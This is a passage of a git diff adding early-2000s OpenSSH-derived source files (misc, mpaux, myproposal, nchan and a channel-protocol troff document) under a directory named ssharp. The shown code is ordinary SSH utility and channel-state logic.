*t = '\0'; + return s; + } + t++; + } + return s; + +} + +void +set_nonblock(int fd) +{ + int val; + val = fcntl(fd, F_GETFL, 0); + if (val < 0) { + error("fcntl(%d, F_GETFL, 0): %s", fd, strerror(errno)); + return; + } + if (val & O_NONBLOCK) { + debug("fd %d IS O_NONBLOCK", fd); + return; + } + debug("fd %d setting O_NONBLOCK", fd); + val |= O_NONBLOCK; + if (fcntl(fd, F_SETFL, val) == -1) + if (errno != ENODEV) + error("fcntl(%d, F_SETFL, O_NONBLOCK): %s", + fd, strerror(errno)); +} + +/* Characters considered whitespace in strsep calls. */ +#define WHITESPACE " \t\r\n" + +char * +strdelim(char **s) +{ + char *old; + int wspace = 0; + + if (*s == NULL) + return NULL; + + old = *s; + + *s = strpbrk(*s, WHITESPACE "="); + if (*s == NULL) + return (old); + + /* Allow only one '=' to be skipped */ + if (*s[0] == '=') + wspace = 1; + *s[0] = '\0'; + + *s += strspn(*s + 1, WHITESPACE) + 1; + if (*s[0] == '=' && !wspace) + *s += strspn(*s + 1, WHITESPACE) + 1; + + return (old); +} + +struct passwd * +pwcopy(struct passwd *pw) +{ + struct passwd *copy = xmalloc(sizeof(*copy)); + + memset(copy, 0, sizeof(*copy)); + copy->pw_name = xstrdup(pw->pw_name); + copy->pw_passwd = xstrdup(pw->pw_passwd); + copy->pw_gecos = xstrdup(pw->pw_gecos); + copy->pw_uid = pw->pw_uid; + copy->pw_gid = pw->pw_gid; +#ifdef HAVE_PW_CLASS_IN_PASSWD + copy->pw_class = xstrdup(pw->pw_class); +#endif + copy->pw_dir = xstrdup(pw->pw_dir); + copy->pw_shell = xstrdup(pw->pw_shell); + return copy; +} + +int a2port(const char *s) +{ + long port; + char *endp; + + errno = 0; + port = strtol(s, &endp, 0); + if (s == endp || *endp != '\0' || + (errno == ERANGE && (port == LONG_MIN || port == LONG_MAX)) || + port <= 0 || port > 65535) + return 0; + + return port; +} + +mysig_t +mysignal(int sig, mysig_t act) +{ +#ifdef HAVE_SIGACTION + struct sigaction sa, osa; + + if (sigaction(sig, NULL, &osa) == -1) + return (mysig_t) -1; + if (osa.sa_handler != act) { + memset(&sa, 0, sizeof(sa)); + sigemptyset(&sa.sa_mask); + sa.sa_flags = 0; +#if defined(SA_RESTART) + if (sig == SIGCHLD) + sa.sa_flags |= SA_RESTART; +#endif +#if defined(SA_INTERRUPT) + if (sig == SIGALRM) + sa.sa_flags |= SA_INTERRUPT; +#endif + sa.sa_handler = act; + if (sigaction(sig, &sa, NULL) == -1) + return (mysig_t) -1; + } + return (osa.sa_handler); +#else + return (signal(sig, act)); +#endif +} diff --git a/other/ssharp/misc.h b/other/ssharp/misc.h new file mode 100644 index 0000000..2346a5e --- /dev/null +++ b/other/ssharp/misc.h @@ -0,0 +1,34 @@ +/* $OpenBSD: misc.h,v 1.4 2001/04/12 20:09:36 stevesk Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* remove newline at end of string */ +char *chop(char *s); + +/* return next token in configuration line */ +char *strdelim(char **s); + +/* set filedescriptor to non-blocking */ +void set_nonblock(int fd); + +struct passwd * pwcopy(struct passwd *pw); + +/* + * Convert ASCII string to TCP/IP port number. + * Port must be >0 and <=65535. + * Return 0 if invalid. + */ +int a2port(const char *s); + +/* wrapper for signal interface */ +typedef void (*mysig_t)(int); +mysig_t mysignal(int sig, mysig_t act); diff --git a/other/ssharp/mkinstalldirs b/other/ssharp/mkinstalldirs new file mode 100755 index 0000000..244ee71 --- /dev/null +++ b/other/ssharp/mkinstalldirs @@ -0,0 +1,40 @@ +#! /bin/sh +# mkinstalldirs --- make directory hierarchy +# Author: Noah Friedman +# Created: 1993-05-16 +# Public domain + +# $Id: mkinstalldirs,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ + +errstatus=0 + +for file +do + set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` + shift + + pathcomp= + for d + do + pathcomp="$pathcomp$d" + case "$pathcomp" in + -* ) pathcomp=./$pathcomp ;; + esac + + if test ! -d "$pathcomp"; then + echo "mkdir $pathcomp" + + mkdir "$pathcomp" || lasterr=$? + + if test ! -d "$pathcomp"; then + errstatus=$lasterr + fi + fi + + pathcomp="$pathcomp/" + done +done + +exit $errstatus + +# mkinstalldirs ends here diff --git a/other/ssharp/mpaux.c b/other/ssharp/mpaux.c new file mode 100644 index 0000000..0c48627 --- /dev/null +++ b/other/ssharp/mpaux.c @@ -0,0 +1,46 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file contains various auxiliary functions related to multiple + * precision integers. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: mpaux.c,v 1.16 2001/02/08 19:30:52 itojun Exp $"); + +#include +#include "getput.h" +#include "xmalloc.h" + +#include + +#include "mpaux.h" + +void +compute_session_id(u_char session_id[16], + u_char cookie[8], + BIGNUM* host_key_n, + BIGNUM* session_key_n) +{ + u_int host_key_bytes = BN_num_bytes(host_key_n); + u_int session_key_bytes = BN_num_bytes(session_key_n); + u_int bytes = host_key_bytes + session_key_bytes; + u_char *buf = xmalloc(bytes); + MD5_CTX md; + + BN_bn2bin(host_key_n, buf); + BN_bn2bin(session_key_n, buf + host_key_bytes); + MD5_Init(&md); + MD5_Update(&md, buf, bytes); + MD5_Update(&md, cookie, 8); + MD5_Final(session_id, &md); + memset(buf, 0, bytes); + xfree(buf); +} diff --git a/other/ssharp/mpaux.h b/other/ssharp/mpaux.h new file mode 100644 index 0000000..b3f15e4 --- /dev/null +++ b/other/ssharp/mpaux.h @@ -0,0 +1,31 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file contains various auxiliary functions related to multiple + * precision integers. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: mpaux.h,v 1.9 2000/12/19 23:17:57 markus Exp $"); */ + +#ifndef MPAUX_H +#define MPAUX_H + +/* + * Computes a 16-byte session id in the global variable session_id. The + * session id is computed by concatenating the linearized, msb first + * representations of host_key_n, session_key_n, and the cookie. + */ +void +compute_session_id(u_char session_id[16], + u_char cookie[8], + BIGNUM * host_key_n, + BIGNUM * session_key_n); + +#endif /* MPAUX_H */ diff --git a/other/ssharp/myproposal.h b/other/ssharp/myproposal.h new file mode 100644 index 0000000..4a9a363 --- /dev/null +++ b/other/ssharp/myproposal.h @@ -0,0 +1,52 @@ +/* $OpenBSD: myproposal.h,v 1.12 2001/03/05 15:56:16 deraadt Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#define KEX_DEFAULT_KEX "diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1" +#define KEX_DEFAULT_PK_ALG "ssh-rsa,ssh-dss" +#define KEX_DEFAULT_ENCRYPT \ + "aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour," \ + "aes192-cbc,aes256-cbc," \ + "rijndael128-cbc,rijndael192-cbc,rijndael256-cbc," \ + "rijndael-cbc@lysator.liu.se" +#define KEX_DEFAULT_MAC \ + "hmac-md5,hmac-sha1,hmac-ripemd160," \ + "hmac-ripemd160@openssh.com," \ + "hmac-sha1-96,hmac-md5-96" +#define KEX_DEFAULT_COMP "none,zlib" +#define KEX_DEFAULT_LANG "" + + +static char *myproposal[PROPOSAL_MAX] = { + KEX_DEFAULT_KEX, + KEX_DEFAULT_PK_ALG, + KEX_DEFAULT_ENCRYPT, + KEX_DEFAULT_ENCRYPT, + KEX_DEFAULT_MAC, + KEX_DEFAULT_MAC, + KEX_DEFAULT_COMP, + KEX_DEFAULT_COMP, + KEX_DEFAULT_LANG, + KEX_DEFAULT_LANG +}; diff --git a/other/ssharp/nchan.c b/other/ssharp/nchan.c new file mode 100644 index 0000000..77e4ef4 --- /dev/null +++ b/other/ssharp/nchan.c @@ -0,0 +1,504 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: nchan.c,v 1.23 2001/02/28 08:54:55 markus Exp $"); + +#include "ssh1.h" +#include "ssh2.h" +#include "buffer.h" +#include "packet.h" +#include "channels.h" +#include "nchan.h" +#include "compat.h" +#include "log.h" + +/* functions manipulating channel states */ +/* + * EVENTS update channel input/output states execute ACTIONS + */ +/* events concerning the INPUT from socket for channel (istate) */ +chan_event_fn *chan_rcvd_oclose = NULL; +chan_event_fn *chan_read_failed = NULL; +chan_event_fn *chan_ibuf_empty = NULL; +/* events concerning the OUTPUT from channel for socket (ostate) */ +chan_event_fn *chan_rcvd_ieof = NULL; +chan_event_fn *chan_write_failed = NULL; +chan_event_fn *chan_obuf_empty = NULL; +/* + * ACTIONS: should never update the channel states + */ +static void chan_send_ieof1(Channel *c); +static void chan_send_oclose1(Channel *c); +static void chan_send_close2(Channel *c); +static void chan_send_eof2(Channel *c); + +/* helper */ +static void chan_shutdown_write(Channel *c); +static void chan_shutdown_read(Channel *c); + +/* + * SSH1 specific implementation of event functions + */ + +static void +chan_rcvd_oclose1(Channel *c) +{ + debug("channel %d: rcvd oclose", c->self); + switch (c->istate) { + case CHAN_INPUT_WAIT_OCLOSE: + debug("channel %d: input wait_oclose -> closed", c->self); + c->istate = CHAN_INPUT_CLOSED; + break; + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> closed", c->self); + chan_shutdown_read(c); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_CLOSED; + break; + case CHAN_INPUT_WAIT_DRAIN: + /* both local read_failed and remote write_failed */ + log("channel %d: input drain -> closed", c->self); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_CLOSED; + break; + default: + error("channel %d: protocol error: chan_rcvd_oclose for istate %d", + c->self, c->istate); + return; + } +} +static void +chan_read_failed_12(Channel *c) +{ + debug("channel %d: read failed", c->self); + switch (c->istate) { + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> drain", c->self); + chan_shutdown_read(c); + c->istate = CHAN_INPUT_WAIT_DRAIN; + if (buffer_len(&c->input) == 0) { + debug("channel %d: input: no drain shortcut", c->self); + chan_ibuf_empty(c); + } + break; + default: + error("channel %d: internal error: we do not read, but chan_read_failed for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_ibuf_empty1(Channel *c) +{ + debug("channel %d: ibuf empty", c->self); + if (buffer_len(&c->input)) { + error("channel %d: internal error: chan_ibuf_empty for non empty buffer", + c->self); + return; + } + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> wait_oclose", c->self); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_WAIT_OCLOSE; + break; + default: + error("channel %d: internal error: chan_ibuf_empty for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_rcvd_ieof1(Channel *c) +{ + debug("channel %d: rcvd ieof", c->self); + if (c->type != SSH_CHANNEL_OPEN) { + debug("channel %d: non-open", c->self); + if (c->istate == CHAN_INPUT_OPEN) { + debug("channel %d: non-open: input open -> wait_oclose", c->self); + chan_shutdown_read(c); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_WAIT_OCLOSE; + } else { + error("channel %d: istate %d != open", c->self, c->istate); + } + if (c->ostate == CHAN_OUTPUT_OPEN) { + debug("channel %d: non-open: output open -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + } else { + error("channel %d: ostate %d != open", c->self, c->ostate); + } + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + break; + case CHAN_OUTPUT_WAIT_IEOF: + debug("channel %d: output wait_ieof -> closed", c->self); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: protocol error: chan_rcvd_ieof for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_write_failed1(Channel *c) +{ + debug("channel %d: write failed", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> wait_ieof", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_WAIT_IEOF; + break; + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output wait_drain -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_write_failed for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_obuf_empty1(Channel *c) +{ + debug("channel %d: obuf empty", c->self); + if (buffer_len(&c->output)) { + error("channel %d: internal error: chan_obuf_empty for non empty buffer", + c->self); + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_obuf_empty for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_send_ieof1(Channel *c) +{ + debug("channel %d: send ieof", c->self); + switch (c->istate) { + case CHAN_INPUT_OPEN: + case CHAN_INPUT_WAIT_DRAIN: + packet_start(SSH_MSG_CHANNEL_INPUT_EOF); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send ieof for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_send_oclose1(Channel *c) +{ + debug("channel %d: send oclose", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + case CHAN_OUTPUT_WAIT_DRAIN: + chan_shutdown_write(c); + buffer_consume(&c->output, buffer_len(&c->output)); + packet_start(SSH_MSG_CHANNEL_OUTPUT_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send oclose for ostate %d", + c->self, c->ostate); + break; + } +} + +/* + * the same for SSH2 + */ +static void +chan_rcvd_oclose2(Channel *c) +{ + debug("channel %d: rcvd close", c->self); + if (c->flags & CHAN_CLOSE_RCVD) + error("channel %d: protocol error: close rcvd twice", c->self); + c->flags |= CHAN_CLOSE_RCVD; + if (c->type == SSH_CHANNEL_LARVAL) { + /* tear down larval channels immediately */ + c->ostate = CHAN_OUTPUT_CLOSED; + c->istate = CHAN_INPUT_CLOSED; + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + /* wait until a data from the channel is consumed if a CLOSE is received */ + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + break; + } + switch (c->istate) { + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> closed", c->self); + chan_shutdown_read(c); + break; + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> closed", c->self); + chan_send_eof2(c); + break; + } + c->istate = CHAN_INPUT_CLOSED; +} +static void +chan_ibuf_empty2(Channel *c) +{ + debug("channel %d: ibuf empty", c->self); + if (buffer_len(&c->input)) { + error("channel %d: internal error: chan_ibuf_empty for non empty buffer", + c->self); + return; + } + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> closed", c->self); + if (!(c->flags & CHAN_CLOSE_SENT)) + chan_send_eof2(c); + c->istate = CHAN_INPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_ibuf_empty for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_rcvd_ieof2(Channel *c) +{ + debug("channel %d: rcvd eof", c->self); + if (c->ostate == CHAN_OUTPUT_OPEN) { + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + } +} +static void +chan_write_failed2(Channel *c) +{ + debug("channel %d: write failed", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> closed", c->self); + chan_shutdown_write(c); /* ?? */ + c->ostate = CHAN_OUTPUT_CLOSED; + break; + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_shutdown_write(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_write_failed for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_obuf_empty2(Channel *c) +{ + debug("channel %d: obuf empty", c->self); + if (buffer_len(&c->output)) { + error("internal error: chan_obuf_empty %d for non empty buffer", + c->self); + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_shutdown_write(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_obuf_empty for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_send_eof2(Channel *c) +{ + debug("channel %d: send eof", c->self); + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + packet_start(SSH2_MSG_CHANNEL_EOF); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send eof for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_send_close2(Channel *c) +{ + debug("channel %d: send close", c->self); + if (c->ostate != CHAN_OUTPUT_CLOSED || + c->istate != CHAN_INPUT_CLOSED) { + error("channel %d: internal error: cannot send close for istate/ostate %d/%d", + c->self, c->istate, c->ostate); + } else if (c->flags & CHAN_CLOSE_SENT) { + error("channel %d: internal error: already sent close", c->self); + } else { + packet_start(SSH2_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + c->flags |= CHAN_CLOSE_SENT; + } +} + +/* shared */ + +int +chan_is_dead(Channel *c) +{ + if (c->istate != CHAN_INPUT_CLOSED || c->ostate != CHAN_OUTPUT_CLOSED) + return 0; + if (!compat20) { + debug("channel %d: is dead", c->self); + return 1; + } + /* + * we have to delay the close message if the efd (for stderr) is + * still active + */ + if (((c->extended_usage != CHAN_EXTENDED_IGNORE) && + buffer_len(&c->extended) > 0) +#if 0 + || ((c->extended_usage == CHAN_EXTENDED_READ) && + c->efd != -1) +#endif + ) { + debug2("channel %d: active efd: %d len %d type %s", + c->self, c->efd, buffer_len(&c->extended), + c->extended_usage==CHAN_EXTENDED_READ ? + "read": "write"); + } else { + if (!(c->flags & CHAN_CLOSE_SENT)) { + chan_send_close2(c); + } + if ((c->flags & CHAN_CLOSE_SENT) && + (c->flags & CHAN_CLOSE_RCVD)) { + debug("channel %d: is dead", c->self); + return 1; + } + } + return 0; +} + +void +chan_init_iostates(Channel *c) +{ + c->ostate = CHAN_OUTPUT_OPEN; + c->istate = CHAN_INPUT_OPEN; + c->flags = 0; +} + +/* init */ +void +chan_init(void) +{ + if (compat20) { + chan_rcvd_oclose = chan_rcvd_oclose2; + chan_read_failed = chan_read_failed_12; + chan_ibuf_empty = chan_ibuf_empty2; + + chan_rcvd_ieof = chan_rcvd_ieof2; + chan_write_failed = chan_write_failed2; + chan_obuf_empty = chan_obuf_empty2; + } else { + chan_rcvd_oclose = chan_rcvd_oclose1; + chan_read_failed = chan_read_failed_12; + chan_ibuf_empty = chan_ibuf_empty1; + + chan_rcvd_ieof = chan_rcvd_ieof1; + chan_write_failed = chan_write_failed1; + chan_obuf_empty = chan_obuf_empty1; + } +} + +/* helper */ +static void +chan_shutdown_write(Channel *c) +{ + buffer_consume(&c->output, buffer_len(&c->output)); + if (compat20 && c->type == SSH_CHANNEL_LARVAL) + return; + /* shutdown failure is allowed if write failed already */ + debug("channel %d: close_write", c->self); + if (c->sock != -1) { + if (shutdown(c->sock, SHUT_WR) < 0) + debug("channel %d: chan_shutdown_write: shutdown() failed for fd%d: %.100s", + c->self, c->sock, strerror(errno)); + } else { + if (close(c->wfd) < 0) + log("channel %d: chan_shutdown_write: close() failed for fd%d: %.100s", + c->self, c->wfd, strerror(errno)); + c->wfd = -1; + } +} +static void +chan_shutdown_read(Channel *c) +{ + if (compat20 && c->type == SSH_CHANNEL_LARVAL) + return; + debug("channel %d: close_read", c->self); + if (c->sock != -1) { + /* + * shutdown(sock, SHUT_READ) may return ENOTCONN if the + * write side has been closed already. (bug on Linux) + * HP-UX will return EINVAL. + */ + if (shutdown(c->sock, SHUT_RD) < 0 + && (errno != ENOTCONN && errno != EINVAL)) + error("channel %d: chan_shutdown_read: shutdown() failed for fd%d [i%d o%d]: %.100s", + c->self, c->sock, c->istate, c->ostate, strerror(errno)); + } else { + if (close(c->rfd) < 0) + log("channel %d: chan_shutdown_read: close() failed for fd%d: %.100s", + c->self, c->rfd, strerror(errno)); + c->rfd = -1; + } +} diff --git a/other/ssharp/nchan.h b/other/ssharp/nchan.h new file mode 100644 index 0000000..623eccc --- /dev/null +++ b/other/ssharp/nchan.h @@ -0,0 +1,91 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* RCSID("$OpenBSD: nchan.h,v 1.10 2001/02/28 08:54:55 markus Exp $"); */ + +#ifndef NCHAN_H +#define NCHAN_H + +/* + * SSH Protocol 1.5 aka New Channel Protocol + * Thanks to Martina, Axel and everyone who left Erlangen, leaving me bored. + * Written by Markus Friedl in October 1999 + * + * Protocol versions 1.3 and 1.5 differ in the handshake protocol used for the + * tear down of channels: + * + * 1.3: strict request-ack-protocol: + * CLOSE -> + * <- CLOSE_CONFIRM + * + * 1.5: uses variations of: + * IEOF -> + * <- OCLOSE + * <- IEOF + * OCLOSE -> + * i.e. both sides have to close the channel + * + * See the debugging output from 'ssh -v' and 'sshd -d' of + * ssh-1.2.27 as an example. + * + */ + +/* ssh-proto-1.5 overloads prot-1.3-message-types */ +#define SSH_MSG_CHANNEL_INPUT_EOF SSH_MSG_CHANNEL_CLOSE +#define SSH_MSG_CHANNEL_OUTPUT_CLOSE SSH_MSG_CHANNEL_CLOSE_CONFIRMATION + +/* possible input states */ +#define CHAN_INPUT_OPEN 0x01 +#define CHAN_INPUT_WAIT_DRAIN 0x02 +#define CHAN_INPUT_WAIT_OCLOSE 0x04 +#define CHAN_INPUT_CLOSED 0x08 + +/* possible output states */ +#define CHAN_OUTPUT_OPEN 0x10 +#define CHAN_OUTPUT_WAIT_DRAIN 0x20 +#define CHAN_OUTPUT_WAIT_IEOF 0x40 +#define CHAN_OUTPUT_CLOSED 0x80 + +#define CHAN_CLOSE_SENT 0x01 +#define CHAN_CLOSE_RCVD 0x02 + + +/* Channel EVENTS */ +typedef void chan_event_fn(Channel * c); + +/* for the input state */ +extern chan_event_fn *chan_rcvd_oclose; +extern chan_event_fn *chan_read_failed; +extern chan_event_fn *chan_ibuf_empty; + +/* for the output state */ +extern chan_event_fn *chan_rcvd_ieof; +extern chan_event_fn *chan_write_failed; +extern chan_event_fn *chan_obuf_empty; + +int chan_is_dead(Channel * c); + +void chan_init_iostates(Channel * c); +void chan_init(void); +#endif diff --git a/other/ssharp/nchan.ms b/other/ssharp/nchan.ms new file mode 100644 index 0000000..2d08022 --- /dev/null +++ b/other/ssharp/nchan.ms @@ -0,0 +1,99 @@ +.\" $OpenBSD: nchan.ms,v 1.7 2001/01/29 01:58:17 niklas Exp $ +.\" +.\" +.\" Copyright (c) 1999 Markus Friedl. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.TL +OpenSSH Channel Close Protocol 1.5 Implementation +.SH +Channel Input State Diagram +.PS +reset +l=1 +s=1.2 +ellipsewid=s*ellipsewid +boxwid=s*boxwid +ellipseht=s*ellipseht +S1: ellipse "INPUT" "OPEN" +move right 2*l from last ellipse.e +S4: ellipse "INPUT" "CLOSED" +move down l from last ellipse.s +S3: ellipse "INPUT" "WAIT" "OCLOSED" +move down l from 1st ellipse.s +S2: ellipse "INPUT" "WAIT" "DRAIN" +arrow "" "rcvd OCLOSE/" "shutdown_read" "send IEOF" from S1.e to S4.w +arrow "ibuf_empty/" "send IEOF" from S2.e to S3.w +arrow from S1.s to S2.n +box invis "read_failed/" "shutdown_read" with .e at last arrow.c +arrow from S3.n to S4.s +box invis "rcvd OCLOSE/" "-" with .w at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow 